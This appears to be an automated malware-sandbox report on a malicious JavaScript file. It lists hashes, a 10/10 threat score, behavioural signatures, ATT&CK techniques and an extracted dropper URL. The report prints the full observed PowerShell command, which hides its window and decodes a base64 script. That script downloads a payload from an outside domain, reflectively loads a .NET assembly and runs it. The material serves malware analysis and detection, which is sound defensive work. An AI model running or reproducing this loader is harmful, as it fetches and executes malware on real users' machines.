abb155bea94f0aab06d9fdba99bf2fd48a19b482e97ba3fe9134d3f80b89508e

General

Target
09304d0746da42935b7a0e62d2044dbc.js
Size 1.1MB
Sample260217-h5pbpaa16f
SHA256 abb155bea94f0aab06d9fdba99bf2fd48a19b482e97ba3fe9134d3f80b89508e
MD5 09304d0746da42935b7a0e62d2044dbc
SHA1 51e424abaefaf73e5279cf4e5372fbc75a2b20c9
SHA512 2716210bc299b42fb1a06e9574d2a496b56c1160f852de3fafc2dc2930f2f72f818bca41bb35191b0578f8ce39b00bb137d2096a4b732cebcefe884ef1fcfe56
SSDEEP 192:cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAk:ki0veR
TLSH
T17F45FD99218BDA8C907ECC41A159612FC4173EA23F65AA8A8CC3D2CFF5335954F1B43B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
https://uniworldrivercruises-co.uk/optimized_MSI.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2328	4780	powershell.exe	79

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2328	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2328	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2328	powershell.exe
2328	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\09304d0746da42935b7a0e62d2044dbc.js
1⤵
PID:3928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHRhdHRpZXMgPSAnIUAjJCXCqCYqJSQjQCEjJSQlJCNAISMlJCbCqCUkIyUkJirCqDU0ODdEMjU4NyQlNDU2NyMkJTovL3VuaXdvcmxkcml2ZXJjcnVpMjU4NyQlNDU2NyMkJWUyNTg3JCU0NTY3IyQlLWNvLnVrL28mwqglJCMlJCYqwqg1NDg3RCUkI0AhIyUkaW1pemVkX01TSS4mwqglJCMlJCYqwqg1NDg3RG5nJy5SZXBsYWNlKCchQCMkJcKoJionLCAnaCcpLlJlcGxhY2UoJyUkI0AhIyUkJywgJ3QnKS5SZXBsYWNlKCcmwqglJCMlJCYqwqg1NDg3RCcsICdwJykuUmVwbGFjZSgnMjU4NyQlNDU2NyMkJScsICdzJyk7ICRtb3J0aWVyZWxsYSA9ICdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXHVGY09mVFlZR0gnOyBpZiAoIShUZXN0LVBhdGggJG1vcnRpZXJlbGxhKSAtb3IgKChHZXQtRGF0ZSkgLSAoR2V0LUl0ZW0gJG1vcnRpZXJlbGxhKS5MYXN0V3JpdGVUaW1lKS5Ub3RhbERheXMgLWd0IDEpIHsgICAkUHJvZ3Jlc3NQcmVmZXJlbmNlID0gJ1NpbGVudGx5Q29udGludWUnOyAgIEludm9rZS1XZWJSZXF1ZXN0IC1VcmkgJHRhdHRpZXMgLU91dEZpbGUgJG1vcnRpZXJlbGxhIC1Vc2VCYXNpY1BhcnNpbmcgfTsgJHNhbGFjaXRpZXMgPSBbSU8uRmlsZV06OlJlYWRBbGxCeXRlcygkbW9ydGllcmVsbGEpOyAkcmVmZXJlbmNlZCA9IFtUZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCRzYWxhY2l0aWVzKTsgJHN1YnNjcmlwdGlvbnMgPSAkcmVmZXJlbmNlZC5JbmRleE9mKCdCYXNlU3RhcnQtJyk7ICRicmFxdWVtYXJ0ID0gJHJlZmVyZW5jZWQuSW5kZXhPZignLUJhc2VFbmQnKTsgaWYgKCRzdWJzY3JpcHRpb25zIC1nZSAwIC1hbmQgJGJyYXF1ZW1hcnQgLWd0ICRzdWJzY3JpcHRpb25zKSB7ICAgJGRpc2Vhc2VsZXNzID0gJHJlZmVyZW5jZWQuU3Vic3RyaW5nKCRzdWJzY3JpcHRpb25zICsgMTAsICRicmFxdWVtYXJ0IC0gJHN1YnNjcmlwdGlvbnMgLSAxMCk7ICAgJHB5c2Fua3kgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRkaXNlYXNlbGVzcykpOyAgICRtZXNuZSA9ICdKejFSU0dVd05WTmxiRFV5WW5Sa2JXSndVa2RpY0ZadVdYWnJSRTE1TkhsTk1UUnBUbmcwUTA4elJYcE1kbTlFWXpCU1NHRW5MQ2N3Snl3blF6cGNWWE5sY25OY1VIVmliR2xqWEVSdmQyNXNiMkZrYzF3bkxDZDFSbU5QWmxSWldVZElKeXduUTJGelVHOXNKeXduTUNjc0owTmhjMUJ2YkNjc0p6QW5MQ2RvZEhSd09pOHZNVGM0TGpFMkxqVXpMakl3T1M5aWRXbHNaR2x1WjIxdmJtVjVMblI0ZENjc0owTTZYRlZ6WlhKelhGQjFZbXhwWTF4RWIzZHViRzloWkhOY0p5d25kVVpqVDJaVVdWbEhTQ2NzSjJwekp5d25NU2NzSnpFbkxDYzVZMUZuUTJ4aWQwMXRKeXduTUNjc0p5Y3NKeWNzSnljPSc7ICAgJGtub2Nrb2ZmcyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJG1lc25lKSk7ICAgJGJveHlzeXN0ZW1zID0gJGtub2Nrb2ZmcyAtc3BsaXQgJywnIHwgRm9yRWFjaC1PYmplY3QgeyAkXy5UcmltKCcnJyInICkgfTsgICBbU29mdHdhcmUuUHJvZ3JhbV0uR2V0TWV0aG9kKCJNYWluIikuSW52b2tlKCRudWxsLCAkYm94eXN5c3RlbXMpOyB9')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2328

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_rqgxfh4q.1hi.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rqgxfh4q.1hi.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2328-4-0x00000240AD2F0000-0x00000240AD300000-memory.dmp

Download

memory/2328-3-0x00000240AD2F0000-0x00000240AD300000-memory.dmp

Download

memory/2328-10-0x00000240AD4E0000-0x00000240AD502000-memory.dmp

Download

memory/2328-12-0x00000240AD2F0000-0x00000240AD300000-memory.dmp

Download

memory/2328-17-0x0000024094D40000-0x0000024094D4C000-memory.dmp

Download

memory/2328-18-0x00000240AD1E0000-0x00000240AD28F000-memory.dmp

Download

memory/2328-19-0x00000240AD490000-0x00000240AD4A2000-memory.dmp

Download

memory/3928-2-0x000001A9BD8D0000-0x000001A9BD8DC000-memory.dmp

Download

memory/3928-1-0x000001A9BD650000-0x000001A9BD6FE000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads